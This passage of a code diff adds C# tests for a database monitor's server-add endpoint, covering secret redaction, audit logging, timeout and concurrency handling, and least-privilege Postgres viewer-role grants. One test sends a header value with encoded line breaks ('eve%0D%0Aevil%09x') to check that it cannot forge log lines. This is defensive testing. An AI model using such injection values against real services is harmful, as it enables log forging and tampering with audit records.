+        Assert.Empty(rig.Bodies);
+        AssertNoSecret(rig, body);
+        Assert.Equal(0, rig.Log.CountAtLevel(LogLevel.Error));
+        using var doc = JsonDocument.Parse(body);
+        Assert.Equal(JsonValueKind.String, doc.RootElement.GetProperty("error").ValueKind);
+    }
+
+    [Fact]
+    public async Task TheCoresCaughtExceptionEnvelope_NeverReachesTheWire_NorTheLog()
+    {
+        var envelope = McpHelpers.FormatError("add_servers", new InvalidOperationException("could not use password " + FakeSecret));
+        await using var rig = await StartAsync(_ => Task.FromResult(envelope));
+
+        var (status, body) = await PostAsync(rig, Entries(1));
+        Assert.Equal(HttpStatusCode.InternalServerError, status);
+        AssertNoSecret(rig, body);
+    }
+
+    [Fact]
+    public async Task ASecretThatSomehowReachesTheCoresAnswer_IsRedactedBeforeItIsWritten()
+    {
+        var leaky = "{\"requested\":1,\"added\":0,\"skipped\":0,\"collided\":0,\"failed\":1,\"results\":["
+            + "{\"server\":\"sql00\",\"status\":\"connection_failed\",\"detail\":\"login failed for password " + FakeSecret + "\"}]}";
+        await using var rig = await StartAsync(_ => Task.FromResult(leaky));
+
+        var (status, body) = await PostAsync(rig, Entries(1));
+        Assert.Equal(HttpStatusCode.OK, status);
+        AssertNoSecret(rig, body);
+        Assert.Equal("login failed for password [redacted]", DetailOf(body));
+        Assert.Contains("login failed for password [redacted]", rig.Log.Joined, StringComparison.Ordinal);
+    }
+
+    [Fact]
+    public async Task TheWholeRequestRefusal_IsA400_AndCarriesNoSecret()
+    {
+        var refusal = "{\"status\":\"invalid\",\"message\":\"servers_json is not valid JSON near " + FakeSecret + "\"}";
+        await using var rig = await StartAsync(_ => Task.FromResult(refusal));
+
+        var (status, body) = await PostAsync(rig, Entries(1));
+        Assert.Equal(HttpStatusCode.BadRequest, status);
+        AssertNoSecret(rig, body);
+    }
+
+    [Fact]
+    public void RedactAddAnswer_KeepsTheEnvelopeShape_AndReplacesOnlyTheSecret()
+    {
+        var answer = DarlingWebEndpoints.RedactAddAnswer(
+            "{\"requested\":1,\"results\":[{\"server\":\"a\",\"status\":\"invalid\",\"detail\":\"x " + FakeSecret + " y\"}]}",
+            new[] { FakeSecret });
+        var row = JsonNode.Parse(answer)!["results"]![0]!;
+        Assert.Equal("x [redacted] y", row["detail"]!.GetValue<string>());
+        Assert.Equal("a", row["server"]!.GetValue<string>());
+        Assert.Equal("invalid", row["status"]!.GetValue<string>());
+
+        const string untouched = "{\"requested\":1}";
+        Assert.Equal(untouched, DarlingWebEndpoints.RedactAddAnswer(untouched, Array.Empty<string>()));
+    }
+
+    /* ═══════════════════════════ audit ═══════════════════════════ */
+
+    [Fact]
+    public async Task EachAddedServer_IsLoggedOnce_WithThePrincipalTheNameAndTheAuthMode_AndNeverTheSecret()
+    {
+        var answer = "{\"requested\":3,\"added\":2,\"skipped\":0,\"collided\":0,\"failed\":1,\"results\":["
+            + "{\"server\":\"sql00\",\"status\":\"added\",\"detail\":\"ok\"},"
+            + "{\"server\":\"win01\",\"status\":\"added\",\"detail\":\"ok\"},"
+            + "{\"server\":\"sql02\",\"status\":\"connection_failed\",\"detail\":\"no\"}]}";
+        await using var rig = await StartAsync(_ => Task.FromResult(answer));
+        var request = "[{\"host\":\"sql00\",\"auth\":\"SQL\",\"username\":\"u\",\"password\":\"" + FakeSecret + "\"},"
+            + "{\"host\":\"win01\"},"
+            + "{\"host\":\"sql02\",\"auth\":\"SQL\",\"username\":\"u\",\"password\":\"" + FakeSecret + "\"}]";
+
+        var (status, body) = await PostAsync(rig, request);
+        Assert.Equal(HttpStatusCode.OK, status);
+
+        var added = rig.Log.Lines.Where(l => l.StartsWith("Information: Server added by", StringComparison.Ordinal)).ToList();
+        Assert.Equal(2, added.Count);
+        Assert.Contains("Server added by alice: sql00, auth SQL", added[0], StringComparison.Ordinal);
+        Assert.Contains("Server added by alice: win01, auth Windows", added[1], StringComparison.Ordinal);
+        Assert.DoesNotContain(added, l => l.Contains("sql02", StringComparison.Ordinal));
+        AssertNoSecret(rig, body);
+    }
+
+    [Fact]
+    public async Task ANothingAddedAnswer_LogsNoAuditLine()
+    {
+        var answer = "{\"requested\":1,\"added\":0,\"skipped\":1,\"collided\":0,\"failed\":0,\"results\":[{\"server\":\"sql00\",\"status\":\"duplicate\",\"detail\":\"d\"}]}";
+        await using var rig = await StartAsync(_ => Task.FromResult(answer));
+        Assert.Equal(HttpStatusCode.OK, (await PostAsync(rig, Entries(1))).Status);
+        Assert.Empty(rig.Log.Lines);
+    }
+
+    /* ═══════════════════════ failure text ═══════════════════════ */
+
+    private static string Failed(string status, string detail) =>
+        "{\"requested\":1,\"added\":0,\"skipped\":0,\"collided\":0,\"failed\":1,\"results\":[{\"server\":\"sql00\",\"status\":\"" + status
+        + "\",\"detail\":" + JsonSerializer.Serialize(detail) + "}]}";
+
+    private static string DetailOf(string body) =>
+        JsonNode.Parse(body)!["results"]![0]!["detail"]!.GetValue<string>();
+
+    [Theory]
+    [InlineData("connection_failed", "Could not connect to sql00,1433. The service log has the details.")]
+    [InlineData("connection_failed", "Could not connect to sql01,1433. The service log has the details.")]
+    [InlineData("not_saved", "Not saved: the write was refused")]
+    public async Task AFailureRow_CarriesTheCoresOwnText_ToTheCaller_AndTheLog(string rowStatus, string detail)
+    {
+        await using var rig = await StartAsync(_ => Task.FromResult(Failed(rowStatus, detail)));
+        var (status, body) = await PostAsync(rig, Entries(1));
+        Assert.Equal(HttpStatusCode.OK, status);
+        Assert.Equal(detail, DetailOf(body));
+        Assert.Contains(rig.Log.Lines, l => l.StartsWith("Information: Server add failed", StringComparison.Ordinal)
+            && l.Contains(detail, StringComparison.Ordinal));
+        AssertNoSecret(rig, body);
+    }
+
+    [Theory]
+    [InlineData("duplicate", "Already monitored.")]
+    [InlineData("invalid", "host is required.")]
+    [InlineData("added", "Connected to PostgreSQL 16")]
+    public async Task ValidationAndSuccessDetails_PassThrough(string status, string detail)
+    {
+        await using var rig = await StartAsync(_ => Task.FromResult(Failed(status, detail)));
+        var (_, body) = await PostAsync(rig, Entries(1));
+        Assert.Equal(detail, DetailOf(body));
+    }
+
+    /* ═══════════════════════ slot timeout ═══════════════════════ */
+
+    [Fact]
+    public async Task ACoreThatNeverFinishes_Answers503_AndKeepsTheSlot_UntilTheAddFinishes()
+    {
+        var hang = new TaskCompletionSource<string>(TaskCreationOptions.RunContinuationsAsynchronously);
+        var calls = 0;
+        await using var rig = await StartAsync(
+            _ => ++calls == 1 ? hang.Task : Task.FromResult(AddedAnswer), addTimeout: TimeSpan.FromMilliseconds(200));
+
+        var (status, body) = await PostAsync(rig, Entries(1));
+        Assert.Equal(HttpStatusCode.ServiceUnavailable, status);
+        Assert.Contains(DarlingWebEndpoints.ServerAddTimedOutText, body, StringComparison.Ordinal);
+        AssertNoSecret(rig, body);
+
+        /* The first core call is still outstanding: the slot is still held. */
+        Assert.Equal(HttpStatusCode.TooManyRequests, (await PostAsync(rig, Entries(1))).Status);
+        Assert.Equal(1, calls);
+
+        hang.SetResult(AddedAnswer);
+        var accepted = HttpStatusCode.TooManyRequests;
+        for (var i = 0; i < 50 && accepted == HttpStatusCode.TooManyRequests; i++)
+        {
+            accepted = (await PostAsync(rig, Entries(1))).Status;
+            if (accepted == HttpStatusCode.TooManyRequests)
+            {
+                await Task.Delay(50, TestContext.Current.CancellationToken);
+            }
+        }
+
+        Assert.Equal(HttpStatusCode.OK, accepted);
+    }
+
+    /// <summary>The 503 told the client nothing about the add, but the core commits when it finishes: its audit lines
+    /// (the added server, the failed row with the secret redacted) are written then, for the principal who sent the
+    /// add, and not before.</summary>
+    [Fact]
+    public async Task AnAddThatOutlivesTheTimeout_StillWritesItsAuditLines_ForThePrincipalWhoSentIt_WhenItFinishes()
+    {
+        var hang = new TaskCompletionSource<string>(TaskCreationOptions.RunContinuationsAsynchronously);
+        await using var rig = await StartAsync(_ => hang.Task, addTimeout: TimeSpan.FromMilliseconds(200));
+
+        var (status, body) = await PostAsync(rig, Entries(2), principal: "dana");
+        Assert.Equal(HttpStatusCode.ServiceUnavailable, status);
+        AssertNoSecret(rig, body);
+        Assert.DoesNotContain(rig.Log.Lines, l => l.Contains("Server added by", StringComparison.Ordinal));
+
+        /* sql00 committed after the 503, and sql01's probe failed with the secret in the driver's text. */
+        hang.SetResult("{\"requested\":2,\"added\":1,\"skipped\":0,\"collided\":0,\"failed\":1,\"results\":["
+            + "{\"server\":\"sql00\",\"status\":\"added\",\"detail\":\"Connected\"},"
+            + "{\"server\":\"sql01\",\"status\":\"connection_failed\",\"detail\":\"login failed for password " + FakeSecret + "\"}]}");
+        await WaitForLogLineAsync(rig, "Server added by");
+
+        var added = Assert.Single(rig.Log.Lines, l => l.Contains("Server added by", StringComparison.Ordinal));
+        Assert.Contains("Server added by dana: sql00, auth SQL", added, StringComparison.Ordinal);
+        var failed = Assert.Single(rig.Log.Lines, l => l.Contains("Server add failed for", StringComparison.Ordinal));
+        Assert.Contains("Server add failed for dana: sql01, connection_failed: login failed for password [redacted]", failed, StringComparison.Ordinal);
+        AssertNoSecret(rig, body);
+    }
+
+    /* ═══════════════════════ slot release ═══════════════════════ */
+
+    /// <summary>Cycles for the slot-release stress pins. The defect is a race between the handler's answer and the
+    /// slot release, so one pass proves little; the fixed code frees the slot before the answer exists, so every
+    /// cycle passes by construction and a regression shows up as a refusal within the loop.</summary>
+    private const int SlotCycles = 400;
+
+    [Fact]
+    public async Task AnAddThatFinishedInsideTheWait_FreesTheSlotBeforeItsAnswer_SoAnImmediateSecondAddIsNotRefused()
+    {
+        await using var rig = await StartAsync(_ => Task.FromResult(AddedAnswer));
+
+        for (var i = 0; i < SlotCycles; i++)
+        {
+            var status = (await PostAsync(rig, Entries(1))).Status;
+            Assert.True(status == HttpStatusCode.OK, $"add {i + 1} of {SlotCycles} answered {(int)status} right after a finished add");
+        }
+    }
+
+    [Fact]
+    public async Task AnAddThatFinishedInsideTheWait_ReleasesTheSlotExactlyOnce_SoALaterHeldAddStillBlocksTheNext()
+    {
+        var calls = 0;
+        var entered = new TaskCompletionSource(TaskCreationOptions.RunContinuationsAsynchronously);
+        var release = new TaskCompletionSource(TaskCreationOptions.RunContinuationsAsynchronously);
+        await using var rig = await StartAsync(_ =>
+        {
+            if (Interlocked.Increment(ref calls) % 2 == 1)
+            {
+                return Task.FromResult(AddedAnswer);
+            }
+
+            entered.TrySetResult();
+            return release.Task.ContinueWith(_ => AddedAnswer, TaskScheduler.Default);
+        });
+
+        for (var i = 0; i < SlotCycles; i++)
+        {
+            /* A finishes inside the wait: its handler and its own continuation both reach for the release. */
+            Assert.Equal(HttpStatusCode.OK, (await PostAsync(rig, Entries(1))).Status);
+
+            /* B takes the freed slot and holds it. A's continuation may still be in flight; a second release
+               from it would free B's slot while B runs, and C would be let in. */
+            entered = new TaskCompletionSource(TaskCreationOptions.RunContinuationsAsynchronously);
+            release = new TaskCompletionSource(TaskCreationOptions.RunContinuationsAsynchronously);
+            var held = PostAsync(rig, Entries(1));
+            await entered.Task.WaitAsync(TimeSpan.FromSeconds(30), TestContext.Current.CancellationToken);
+
+            Assert.Equal(HttpStatusCode.TooManyRequests, (await PostAsync(rig, Entries(1))).Status);
+            Assert.Equal(2 * i + 2, Volatile.Read(ref calls));
+
+            release.SetResult();
+            Assert.Equal(HttpStatusCode.OK, (await held).Status);
+        }
+    }
+
+    [Fact]
+    public async Task AnAddThatOutlivesTheTimeout_KeepsTheSlotForEveryLaterAdd_AndFreesItOnce_WhenItFinishes()
+    {
+        var hang = new TaskCompletionSource<string>(TaskCreationOptions.RunContinuationsAsynchronously);
+        var heldEntered = new TaskCompletionSource(TaskCreationOptions.RunContinuationsAsynchronously);
+        var heldRelease = new TaskCompletionSource<string>(TaskCreationOptions.RunContinuationsAsynchronously);
+        var calls = 0;
+        await using var rig = await StartAsync(_ =>
+        {
+            switch (Interlocked.Increment(ref calls))
+            {
+                case 1:
+                    return hang.Task;
+                case 3:
+                    heldEntered.TrySetResult();
+                    return heldRelease.Task;
+                default:
+                    return Task.FromResult(AddedAnswer);
+            }
+        }, addTimeout: TimeSpan.FromMilliseconds(200));
+
+        Assert.Equal(HttpStatusCode.ServiceUnavailable, (await PostAsync(rig, Entries(1))).Status);
+
+        /* The handler has answered and gone: the add is still running, so the slot is still held. */
+        for (var i = 0; i < 5; i++)
+        {
+            Assert.Equal(HttpStatusCode.TooManyRequests, (await PostAsync(rig, Entries(1))).Status);
+        }
+
+        Assert.Equal(1, Volatile.Read(ref calls));
+
+        /* The add finishes: the slot is freed, by the add's own continuation. */
+        hang.SetResult(AddedAnswer);
+        var accepted = HttpStatusCode.TooManyRequests;
+        for (var i = 0; i < 100 && accepted == HttpStatusCode.TooManyRequests; i++)
+        {
+            accepted = (await PostAsync(rig, Entries(1))).Status;
+            if (accepted == HttpStatusCode.TooManyRequests)
+            {
+                await Task.Delay(50, TestContext.Current.CancellationToken);
+            }
+        }
+
+        Assert.Equal(HttpStatusCode.OK, accepted);
+
+        /* Freed once: the next add takes the slot and a further one is refused, not let in beside it. */
+        var held = PostAsync(rig, Entries(1));
+        await heldEntered.Task.WaitAsync(TimeSpan.FromSeconds(30), TestContext.Current.CancellationToken);
+        Assert.Equal(HttpStatusCode.TooManyRequests, (await PostAsync(rig, Entries(1))).Status);
+
+        heldRelease.SetResult(AddedAnswer);
+        Assert.Equal(HttpStatusCode.OK, (await held).Status);
+    }
+
+    /* ═══════════════════════ principal on one line ═══════════════════════ */
+
+    [Fact]
+    public async Task APrincipalWithControlCharacters_IsLoggedOnOneLine()
+    {
+        await using var rig = await StartAsync(_ => Task.FromResult(AddedAnswer));
+        var ct = TestContext.Current.CancellationToken;
+        using var request = new HttpRequestMessage(HttpMethod.Post, "/api/servers")
+        {
+            Content = new StringContent(Entries(1), Encoding.UTF8, "application/json"),
+        };
+        request.Headers.TryAddWithoutValidation("X-Principal", "eve%0D%0Aevil%09x");
+        using var response = await rig.Client.SendAsync(request, ct);
+        Assert.Equal(HttpStatusCode.OK, response.StatusCode);
+
+        var line = Assert.Single(rig.Log.Lines, l => l.Contains("Server added by", StringComparison.Ordinal));
+        Assert.DoesNotContain('\n', line);
+        Assert.DoesNotContain('\r', line);
+        Assert.DoesNotContain('\t', line);
+        Assert.Contains("eve", line, StringComparison.Ordinal);
+    }
+}
diff --git a/Darling/Darling.Tests/ServerAddViewerRoleLiveTests.cs b/Darling/Darling.Tests/ServerAddViewerRoleLiveTests.cs
new file mode 100644
index 0000000000..39da10eba1
--- /dev/null
+++ b/Darling/Darling.Tests/ServerAddViewerRoleLiveTests.cs
@@ -0,0 +1,514 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System;
+using System.Collections.Generic;
+using System.Linq;
+using System.Security.Cryptography;
+using System.Text.Json.Nodes;
+using System.Threading;
+using System.Threading.Tasks;
+using Npgsql;
+using PerformanceMonitor.Collectors;
+using PerformanceMonitor.Darling.Service;
+using PerformanceMonitor.Darling.Service.Mcp;
+using PerformanceMonitor.Darling.Storage;
+using Xunit;
+
+namespace Darling.Tests;
+
+/* #1776 own-store: this class mints its own scratch database through ScratchPostgres and a role with a per-run
+   name, and touches nothing on the shared one, so it is not serialized against the live-postgres collection. */
+
+/// <summary>
+/// The server-onboarding write as a non-superuser holding exactly the grants the managed <c>viewer</c> role gets
+/// (#4843): the web dashboard's <c>POST /api/servers</c> runs the <c>add_servers</c> core on the viewer-role pool, and
+/// every other live test connects as the owner, which can write anything, so a missing grant would pass them all
+/// and fail only in a real deployment with a 42501. The statements are TAKEN FROM
+/// <see cref="DarlingManagedRoles.BuildProvisioningSql"/>'s output with the role name swapped, so removing the
+/// grant from the product's SQL makes the add test fail.
+/// </summary>
+[Collection("darling-owned-secrets")]
+public sealed class ServerAddViewerRoleLiveTests : IDisposable
+{
+    private readonly DarlingOwnedSet _ownedBefore = DarlingOwnedSecrets.Current;
+
+    /* Configuration loaded, owning nothing: an unpopulated set refuses every env:/file: reference (R3-3), and the
+       entries here use one. */
+    public ServerAddViewerRoleLiveTests() => DarlingOwnedSecrets.Set(DarlingOwnedSet.Empty);
+
+    public void Dispose() => DarlingOwnedSecrets.Set(_ownedBefore);
+
+    internal static readonly string RolePassword = Convert.ToHexString(RandomNumberGenerator.GetBytes(16));
+
+    private const string ServerGrant = "GRANT INSERT ON config.config_monitored_servers TO viewer;";
+
+    /// <summary>Pass as <c>skip</c> to provision a role WITHOUT the edit function (a store whose roles predate it).</summary>
+    internal const string MissingEditFunction = "<no edit function>";
+
+    private static readonly DarlingMcpServerAdminTools.ServerProbe Reachable = (_, _) => Task.FromResult(
+        new ConnectionProbeResult(
+            Success: true, MajorVersion: 15, EngineEdition: 3, EngineEditionDescription: "Enterprise",
+            IsAzureSqlDb: false, IsAzureManagedInstance: false, IsAwsRds: false, HasMsdbAccess: true, Error: null));
+
+    /// <summary>The scratch database a connection string names (#5560): what a replayed database-level GRANT is aimed at,
+    /// so no replay rewrites the shared cluster's own <c>darling</c> database.</summary>
+    private static string DatabaseOf(string connectionString) =>
+        new NpgsqlConnectionStringBuilder(connectionString).Database!;
+
+    /// <summary>Every GRANT / REVOKE in the managed batch that names <c>viewer</c> (alone or in a list), in order,
+    /// retargeted at <paramref name="roleName"/> and aimed at <paramref name="database"/>.
+    /// <paramref name="skip"/> drops statements by exact text.</summary>
+    internal static List<string> ViewerStatements(string roleName, string database, string? skip)
+    {
+        var provisioning = DarlingManagedRoles.BuildProvisioningSql(
+            ProvisioningTestSecrets.Admin, ProvisioningTestSecrets.Viewer, ProvisioningTestSecrets.Mcp);
+        var statements = new List<string>();
+
+        /* Drop the comment lines BEFORE splitting: the provisioning prose contains semicolons. */
+        var uncommented = string.Join('\n', provisioning.Split('\n').Where(l => !l.TrimStart().StartsWith("--", StringComparison.Ordinal)));
+        foreach (var raw in uncommented.Split(';'))
+        {
+            var statement = raw.Trim();
+            var isGrant = statement.StartsWith("GRANT ", StringComparison.Ordinal);
+            if (!isGrant && !statement.StartsWith("REVOKE ", StringComparison.Ordinal))
+            {
+                continue;
+            }
+
+            var marker = isGrant ? " TO " : " FROM ";
+            var at = statement.LastIndexOf(marker, StringComparison.Ordinal);
+            if (at < 0 || statement.Contains("EXECUTE ON FUNCTION", StringComparison.Ordinal))
+            {
+                continue;
+            }
+
+            if (!statement[(at + marker.Length)..].Split(',').Select(t => t.Trim()).Contains("viewer", StringComparer.Ordinal))
+            {
+                continue;
+            }
+
+            if (skip is not null && string.Equals(statement + ";", skip, StringComparison.Ordinal))
+            {
+                continue;
+            }
+
+            statements.Add(ViewerGrantReplay.OnDatabase(statement[..at], database) + marker + roleName);
+        }
+
+        return statements;
+    }
+
+    internal static async Task<(ScratchPostgres Scratch, NpgsqlDataSource Owner, string OwnerString)> OpenAsync(CancellationToken ct)
+    {
+        var baseConnectionString = Environment.GetEnvironmentVariable("DARLING_TEST_PG");
+        Assert.SkipWhen(string.IsNullOrEmpty(baseConnectionString),
+            "Set DARLING_TEST_PG to a Postgres connection string to run the live viewer-role server-add test (it mints its own scratch database and role).");
+
+        var scratch = await ScratchPostgres.CreateAsync(baseConnectionString!, ct);
+        var ownerString = new NpgsqlConnectionStringBuilder(scratch.ConnectionString) { SearchPath = PgSchemaGenerator.SearchPath }.ConnectionString;
+        await using (var connection = new NpgsqlConnection(ownerString))
+        {
+            await connection.OpenAsync(ct);
+            await PgMigrations.MigrateAsync(connection, null, ct);
+        }
+
+        return (scratch, NpgsqlDataSource.Create(ownerString), ownerString);
+    }
+
+    internal static async Task<NpgsqlDataSource> ProvisionAsync(
+        NpgsqlDataSource owner, string ownerString, string roleName, string? skip, CancellationToken ct)
+    {
+        await ExecAsync(owner, $"CREATE ROLE {roleName} LOGIN NOSUPERUSER PASSWORD '{RolePassword}'", ct);
+        foreach (var statement in ViewerStatements(roleName, DatabaseOf(ownerString), skip))
+        {
+            await ExecAsync(owner, statement, ct);
+        }
+
+        /* The edit function (#5240), from the shared builder so it is the real one, owned by the owner; EXECUTE for the role. */
+        if (!string.Equals(skip, MissingEditFunction, StringComparison.Ordinal))
+        {
+            await ExecAsync(owner, DarlingManagedRoles.BuildEditMonitoredServerFunctionSql("config"), ct);
+            await ExecAsync(owner, DarlingManagedRoles.BuildEditMonitoredServerLegacyWrapperSql("config"), ct);
+            await ExecAsync(owner, $"GRANT EXECUTE ON FUNCTION config.edit_monitored_server({DarlingManagedRoles.EditMonitoredServerSignature}) TO {roleName}", ct);
+            await ExecAsync(owner, $"GRANT EXECUTE ON FUNCTION config.edit_monitored_server({DarlingManagedRoles.EditMonitoredServerLegacySignature}) TO {roleName}", ct);
+        }
+
+        return NpgsqlDataSource.Create(new NpgsqlConnectionStringBuilder(ownerString) { Username = roleName, Password = RolePassword }.ConnectionString);
+    }
+
+    private const string OneServer =
+        "[{\"host\":\"added-by-viewer\",\"auth\":\"SQL\",\"username\":\"monitor\",\"password\":\"Viewer-Add-Pw-1\"}]";
+
+    [Fact]
+    public async Task TheShippedViewerGrants_LetTheAddCoreInsertAServer_AndTheBeaconTriggerFire()
+    {
+        var ct = TestContext.Current.CancellationToken;
+        var roleName = "srv_add_" + Guid.NewGuid().ToString("N")[..8];
+        var (scratch, owner, ownerString) = await OpenAsync(ct);
+        await using var _ = scratch;
+        await using var __ = owner;
+
+        Assert.Contains(ServerGrant.Replace(" TO viewer;", " TO " + roleName, StringComparison.Ordinal), ViewerStatements(roleName, DatabaseOf(ownerString), null));
+        await using var asViewer = await ProvisionAsync(owner, ownerString, roleName, null, ct);
+        var bodySucceeded = false;
+        try
+        {
+            /* The beacon row is seeded by the running service, not by migration; the trigger updates nothing without it. */
+            await ExecAsync(owner, "INSERT INTO config_service (id) VALUES (1) ON CONFLICT DO NOTHING", ct);
+            long versionBefore;
+            await using (var read = owner.CreateCommand("SELECT config_version FROM config_service"))
+            {
+                versionBefore = Convert.ToInt64(await read.ExecuteScalarAsync(ct));
+            }
+
+            var answer = JsonNode.Parse(await DarlingMcpServerAdminTools.AddServersAsync(asViewer, OneServer, Reachable, ct, TestKeyRings.Healthy))!;
+            Assert.Equal(1, answer["added"]!.GetValue<int>());
+            Assert.Equal("added", answer["results"]![0]!["status"]!.GetValue<string>());
+
+            await using (var count = owner.CreateCommand("SELECT count(*) FROM config_monitored_servers WHERE host = 'added-by-viewer'"))
+            {
+                Assert.Equal(1L, Convert.ToInt64(await count.ExecuteScalarAsync(ct)));
+            }
+
+            /* The write fired trg_bump_monitored_servers AS viewer, through the two-column config_service grant. */
+            await using (var read = owner.CreateCommand("SELECT config_version FROM config_service"))
+            {
+                Assert.True(Convert.ToInt64(await read.ExecuteScalarAsync(ct)) > versionBefore);
+            }
+
+            /* The grant is INSERT only: the viewer role cannot delete the definition it inserted (no web route removes one yet). */
+            var deleteDenied = await Assert.ThrowsAsync<PostgresException>(async () =>
+            {
+                await using var delete = asViewer.CreateCommand("DELETE FROM config_monitored_servers WHERE host = 'added-by-viewer'");
+                await delete.ExecuteNonQueryAsync(ct);
+            });
+            Assert.Equal("42501", deleteDenied.SqlState);
+
+            /* The credential column stays unreadable to this role: INSERT needed no read of it. */
+            var denied = await Assert.ThrowsAsync<PostgresException>(async () =>
+            {
+                await using var peek = asViewer.CreateCommand("SELECT encrypted_password FROM config_monitored_servers");
+                await peek.ExecuteScalarAsync(ct);
+            });
+            Assert.Equal("42501", denied.SqlState);
+            bodySucceeded = true;
+        }
+        finally
+        {
+            await LiveStoreCleanup.RunOwnedAsync(bodySucceeded, () => ExecAsync(owner, $"DROP OWNED BY {roleName}; DROP ROLE IF EXISTS {roleName};", CancellationToken.None));
+        }
+    }
+
+    [Fact]
+    public async Task WithoutTheServerGrant_TheAddWrite_Fails42501_AndNothingIsSaved()
+    {
+        var ct = TestContext.Current.CancellationToken;
+        var roleName = "srv_nogrant_" + Guid.NewGuid().ToString("N")[..8];
+        var (scratch, owner, ownerString) = await OpenAsync(ct);
+        await using var _ = scratch;
+        await using var __ = owner;
+
+        await using var asViewer = await ProvisionAsync(owner, ownerString, roleName, ServerGrant, ct);
+        var bodySucceeded = false;
+        try
+        {
+            /* The statement the core runs, as a role that holds every viewer grant EXCEPT this one. */
+            var denied = await Assert.ThrowsAsync<PostgresException>(async () =>
+            {
+                await using var insert = asViewer.CreateCommand(DarlingMcpServerAdminTools.InsertServerSql);
+                insert.Parameters.Add(new NpgsqlParameter<int> { TypedValue = 7 });
+                insert.Parameters.Add(new NpgsqlParameter<string> { TypedValue = "n" });
+                insert.Parameters.Add(new NpgsqlParameter<string> { TypedValue = "h" });
+                insert.Parameters.Add(new NpgsqlParameter { Value = DBNull.Value, NpgsqlDbType = NpgsqlTypes.NpgsqlDbType.Text });
+                insert.Parameters.Add(new NpgsqlParameter<string> { TypedValue = "sql" });
+                insert.Parameters.Add(new NpgsqlParameter { Value = DBNull.Value, NpgsqlDbType = NpgsqlTypes.NpgsqlDbType.Text });
+                insert.Parameters.Add(new NpgsqlParameter { Value = DBNull.Value, NpgsqlDbType = NpgsqlTypes.NpgsqlDbType.Text });
+                insert.Parameters.Add(new NpgsqlParameter<string> { TypedValue = "Mandatory" });
+                insert.Parameters.Add(new NpgsqlParameter<bool> { TypedValue = false });
+                insert.Parameters.Add(new NpgsqlParameter<bool> { TypedValue = false });
+                insert.Parameters.Add(new NpgsqlParameter<bool> { TypedValue = false });
+                insert.Parameters.Add(new NpgsqlParameter { NpgsqlDbType = NpgsqlTypes.NpgsqlDbType.Array | NpgsqlTypes.NpgsqlDbType.Text, Value = Array.Empty<string>() });
+                insert.Parameters.Add(new NpgsqlParameter<decimal> { TypedValue = 0m });
+                insert.Parameters.Add(new NpgsqlParameter { NpgsqlDbType = NpgsqlTypes.NpgsqlDbType.Timestamp, Value = DateTime.SpecifyKind(DateTime.UtcNow, DateTimeKind.Unspecified) });
+                insert.Parameters.Add(new NpgsqlParameter<string> { TypedValue = "sqlserver" });
+                insert.Parameters.Add(new NpgsqlParameter<int> { TypedValue = 0 });
+                insert.Parameters.Add(new NpgsqlParameter { Value = DBNull.Value, NpgsqlDbType = NpgsqlTypes.NpgsqlDbType.Text });
+                insert.Parameters.Add(new NpgsqlParameter { Value = DBNull.Value, NpgsqlDbType = NpgsqlTypes.NpgsqlDbType.Text });
+                await insert.ExecuteNonQueryAsync(ct);
+            });
+            Assert.Equal("42501", denied.SqlState);
+
+            /* Through the core, the same refusal is a typed not_saved, with no row written. */
+            var answer = JsonNode.Parse(await DarlingMcpServerAdminTools.AddServersAsync(asViewer, OneServer, Reachable, ct, TestKeyRings.Healthy))!;
+            Assert.Equal(0, answer["added"]!.GetValue<int>());
+            Assert.Equal("not_saved", answer["results"]![0]!["status"]!.GetValue<string>());
+            await using (var count = owner.CreateCommand("SELECT count(*) FROM config_monitored_servers WHERE host IN ('h', 'added-by-viewer')"))
+            {
+                Assert.Equal(0L, Convert.ToInt64(await count.ExecuteScalarAsync(ct)));
+            }
+
+            bodySucceeded = true;
+        }
+        finally
+        {
+            await LiveStoreCleanup.RunOwnedAsync(bodySucceeded, () => ExecAsync(owner, $"DROP OWNED BY {roleName}; DROP ROLE IF EXISTS {roleName};", CancellationToken.None));
+        }
+    }
+
+    [Fact]
+    public async Task TheViewerRole_HoldsNoUpdate_OnTheMonitoredServersTable_AndNoWriteOnTheCredentialColumn()
+    {
+        var ct = TestContext.Current.CancellationToken;
+        var roleName = "srv_upd_" + Guid.NewGuid().ToString("N")[..8];
+        var (scratch, owner, ownerString) = await OpenAsync(ct);
+        await using var _ = scratch;
+        await using var __ = owner;
+
+        await using var asViewer = await ProvisionAsync(owner, ownerString, roleName, null, ct);
+        var bodySucceeded = false;
+        try
+        {
+            await using (var seed = owner.CreateCommand("INSERT INTO config_monitored_servers (server_id, name, host) VALUES (-4843, 'seed', 'seed-host')"))
+            {
+                await seed.ExecuteNonQueryAsync(ct);
+            }
+
+            foreach (var sql in new[]
+            {
+                "UPDATE config_monitored_servers SET is_enabled = FALSE WHERE server_id = -4843",
+                "UPDATE config_monitored_servers SET encrypted_password = 'x' WHERE server_id = -4843",
+            })
+            {
+                var denied = await Assert.ThrowsAsync<PostgresException>(async () =>
+                {
+                    await using var update = asViewer.CreateCommand(sql);
+                    await update.ExecuteNonQueryAsync(ct);
+                });
+                Assert.Equal("42501", denied.SqlState);
+            }
+
+            bodySucceeded = true;
+        }
+        finally
+        {
+            await LiveStoreCleanup.RunOwnedAsync(bodySucceeded, () => ExecAsync(owner, $"DROP OWNED BY {roleName}; DROP ROLE IF EXISTS {roleName};", CancellationToken.None));
+        }
+    }
+
+    private static DarlingMcpServerAdminTools.EditColumnValue Col(string column, NpgsqlTypes.NpgsqlDbType type, object? value) => new(column, column, type, value);
+
+    private static async Task<(string Outcome, DateTime? Token)> CallEditAsync(
+        NpgsqlDataSource source, int id, DateTime expected, IReadOnlyList<DarlingMcpServerAdminTools.EditColumnValue> sets, CancellationToken ct)
+    {
+        await using var call = source.CreateCommand(DarlingMcpServerAdminTools.EditFunctionSql);
+        foreach (var parameter in DarlingMcpServerAdminTools.BuildEditFunctionParameters(id, expected, sets))
+        {
+            call.Parameters.Add(parameter);
+        }
+
+        await using var reader = await call.ExecuteReaderAsync(ct);
+        Assert.True(await reader.ReadAsync(ct));
+        return (reader.GetString(0), reader.IsDBNull(1) ? null : reader.GetDateTime(1));
+    }
+
+    private static async Task<string> RowAsync(NpgsqlDataSource owner, int id, string columns, CancellationToken ct)
+    {
+        await using var read = owner.CreateCommand($"SELECT concat_ws('|', {columns}) FROM config_monitored_servers WHERE server_id = {id}");
